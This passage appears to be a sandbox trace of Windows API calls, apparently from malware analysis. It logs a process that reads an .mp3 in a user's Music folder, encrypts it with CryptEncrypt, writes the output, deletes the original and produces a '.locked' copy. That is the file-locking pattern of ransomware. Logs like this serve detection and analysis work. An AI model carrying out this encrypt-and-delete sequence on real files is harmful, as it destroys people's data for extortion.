[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.582] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.582] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.582] ReadFile (in: hFile=0x858, lpBuffer=0x6aeedbc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6aeedbc*, lpNumberOfBytesRead=0x99ae7a8*=0xc26, lpOverlapped=0x0) returned 1 [0133.583] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b02dc8*, pdwDataLen=0x99ae79c*=0xc20, dwBufLen=0xc20 | out: pbData=0x6b02dc8*, pdwDataLen=0x99ae79c*=0xc20) returned 1 [0133.583] ReadFile (in: hFile=0x858, lpBuffer=0x6aeedbc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6aeedbc*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.583] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6b03a0c*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6b03a0c*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.583] CryptEncrypt (in: hKey=0x8e84e38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b03a40*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6b03a40*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.583] WriteFile (in: hFile=0x874, lpBuffer=0x6aea664*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6aea664*, lpNumberOfBytesWritten=0x99ae7c8*=0xc44, lpOverlapped=0x0) returned 1 [0133.584] CloseHandle (hObject=0x874) returned 1 [0133.586] CloseHandle (hObject=0x858) returned 1 [0133.586] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.586] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.586] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.586] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.586] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.587] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3")) returned 0x20 [0133.588] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.588] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.588] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.588] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.588] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.588] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.589] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.589] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.589] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.589] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.589] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.589] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.589] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.589] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.589] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.589] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.589] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.590] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.590] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.590] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.590] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.590] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3")) returned 0x20 [0133.590] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.590] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.591] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.591] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.591] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3\\", lpFilePart=0x0) returned 0x41 [0133.591] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.591] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.591] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.591] CoTaskMemFree (pv=0x8eb8930) [0133.592] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3")) returned 0x20 [0133.593] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.593] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6b1930c | out: lpFileInformation=0x6b1930c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f8a2d80, ftCreationTime.dwHighDateTime=0x1d49feb, ftLastAccessTime.dwLowDateTime=0x43177cf0, ftLastAccessTime.dwHighDateTime=0x1d4a634, ftLastWriteTime.dwLowDateTime=0x43177cf0, ftLastWriteTime.dwHighDateTime=0x1d4a634, nFileSizeHigh=0x0, nFileSizeLow=0xc26)) returned 1 [0133.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.593] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3")) returned 1 [0133.595] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.595] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.595] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.595] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.595] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.596] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3.locked")) returned 0x20 [0133.597] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\ahsxhvvgrhkq.mp3.locked")) returned 0x20 [0133.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", lpFilePart=0x0) returned 0x47 [0133.597] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3.locked", lpFilePart=0x0) returned 0x47 [0133.599] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.599] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\aHsxHvVGrhKQ.mp3", lpFilePart=0x0) returned 0x40 [0133.600] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.600] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.600] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.600] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.603] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.603] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.603] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.603] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.603] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.605] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.605] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.605] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.605] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.605] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.607] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.607] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.607] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.607] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.607] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.609] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.609] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: 